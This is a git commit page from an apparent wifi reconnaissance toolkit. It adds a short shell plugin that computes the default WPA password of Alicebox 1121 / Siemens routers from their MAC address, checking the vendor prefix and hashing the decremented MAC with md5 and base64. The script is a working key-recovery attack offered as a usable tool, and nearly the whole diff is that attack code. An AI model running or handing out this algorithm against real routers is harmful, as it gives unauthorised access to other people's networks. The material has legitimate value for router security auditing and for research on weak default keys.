diff options
author | makefu <github@syntax-fehler.de> | 2014-12-25 21:15:01 +0100 |
---|---|---|
committer | makefu <github@syntax-fehler.de> | 2014-12-25 21:15:01 +0100 |
commit | abd5b2c8f074ae26c2680048640c47e10566bd39 (patch) | |
tree | 9dbdc63edbababec6412992dabba84089117b472 /recon/inspector_wifi/plugins/02alice | |
parent | c0f39b57888603595aa37d5abbdad0f52a525184 (diff) | |
parent | 8db6cecf6f088ebac98a6be15d920ab412a1c510 (diff) |
Merge branch 'master' of ssh://github.com/krebscode/painload
everything stays the same in inspector_wifi
Conflicts:
recon/inspect_wifi/.gitignore
recon/inspect_wifi/README.md
recon/inspect_wifi/TODO
recon/inspect_wifi/inspector_wifi
recon/inspect_wifi/plugins/01open
recon/inspect_wifi/plugins/02alice
recon/inspect_wifi/plugins/02easybox
recon/inspect_wifi/plugins/02tplink
recon/inspect_wifi/plugins/plugin_core
recon/inspector_wifi/.gitignore
recon/inspector_wifi/README.md
recon/inspector_wifi/TODO
recon/inspector_wifi/inspector_wifi
recon/inspector_wifi/plugins/01open
recon/inspector_wifi/plugins/02alice
recon/inspector_wifi/plugins/02easybox
recon/inspector_wifi/plugins/02tplink
recon/inspector_wifi/plugins/plugin_core
recon/wifi_inspector/.gitignore
recon/wifi_inspector/README.md
recon/wifi_inspector/TODO
recon/wifi_inspector/inspector_wifi
recon/wifi_inspector/plugins/01open
recon/wifi_inspector/plugins/02alice
recon/wifi_inspector/plugins/02easybox
recon/wifi_inspector/plugins/02tplink
recon/wifi_inspector/plugins/plugin_core
Diffstat (limited to 'recon/inspector_wifi/plugins/02alice')
-rwxr-xr-x | recon/inspector_wifi/plugins/02alice | 20 |
1 files changed, 20 insertions, 0 deletions
diff --git a/recon/inspector_wifi/plugins/02alice b/recon/inspector_wifi/plugins/02alice new file mode 100755 index 00000000..65ab34b1 --- /dev/null +++ b/recon/inspector_wifi/plugins/02alice @@ -0,0 +1,20 @@ +#!/bin/sh +# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm: +# Based on Poc from +# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html +# +# +# ESSID MAC CHANNEL ENCRYPTION + +cd $(dirname $(readlink -f $0)) +. ./plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1 + +# printf always makes string to lower, need that for correct md5sum +ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) +TMP=$(printf $ETHMAC | md5sum) +printf ${TMP:0:12} | base64 +exit 0 |